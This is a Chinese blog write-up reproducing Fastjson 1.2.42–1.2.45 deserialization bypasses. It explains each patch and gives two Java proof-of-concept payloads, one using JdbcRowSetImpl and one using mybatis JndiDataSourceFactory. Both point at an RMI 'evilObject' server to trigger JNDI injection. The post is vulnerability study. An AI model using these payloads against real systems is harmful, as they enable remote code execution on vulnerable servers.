Fastjson1.2.42-1.2.45漏洞复现

Fastjson=1.2.42,1.2.43,1.2.45漏洞复现

Posted by SEVENTEEN on April 8, 2022

前言

   趁着周末抓紧时间搞java,不然卑微的我又要因为教室点名跑来跑去,这次来看一下三个版本的补丁以及绕过。

AutoTypeSupport

   这三个版本触发前提都是开启AutoTypeSupport。

Fastjson=1.2.42

   这个版本对L开头;结尾绕过的补丁,可以算是一种混淆源码(也类似shellcode免杀框架调用API的手法)。 大概知道一下原理就行了,这个朴实无华的补丁确实达到了它的目的,在没有网上爆破出来的字段看的情况,我很难审计这段源码。 这里圈出来的if条件其实就是匹配到L开头;结尾的时候去除一次,所以绕过的思路就是双写LL和双写;;。

Fastjson=1.2.43

   在这个补丁中,采用两层if判断是否双写,是的话直接抛出异常。

   在checkAutoType方法中,依然是用了哈希比较,但跟到loadclass方法就看得比较清楚了。 可以看到这里跟之前L;的处理差不多,都是截取之后再去递归loadClass方法。

   后面payload添加的[和{其实可以通过报错去添加,没加的话会报错syntax error, expect [。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson4 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"seventeen\":{" +
                "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
                "{\"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\"," +
                "\"autoCommit\":true" +
                "}" +
                "}";
        JSON.parse(payload);
    }
}

   在Fastjson1.2.44的补丁中,类名开头出现[后会直接抛出异常。

Fastjson=1.2.45

   这里参考jackson新加的黑名单,利用这个mybatis的依赖绕过,并且mybatis的版本需要是3.x并且<3.5.0。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson5 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/evilObject\"}}";
        JSON.parse(payload);
    }
}

   但这个类在1.2.46被加入了黑名单。

There Is Nothing Below

   

Turn at the next intersection.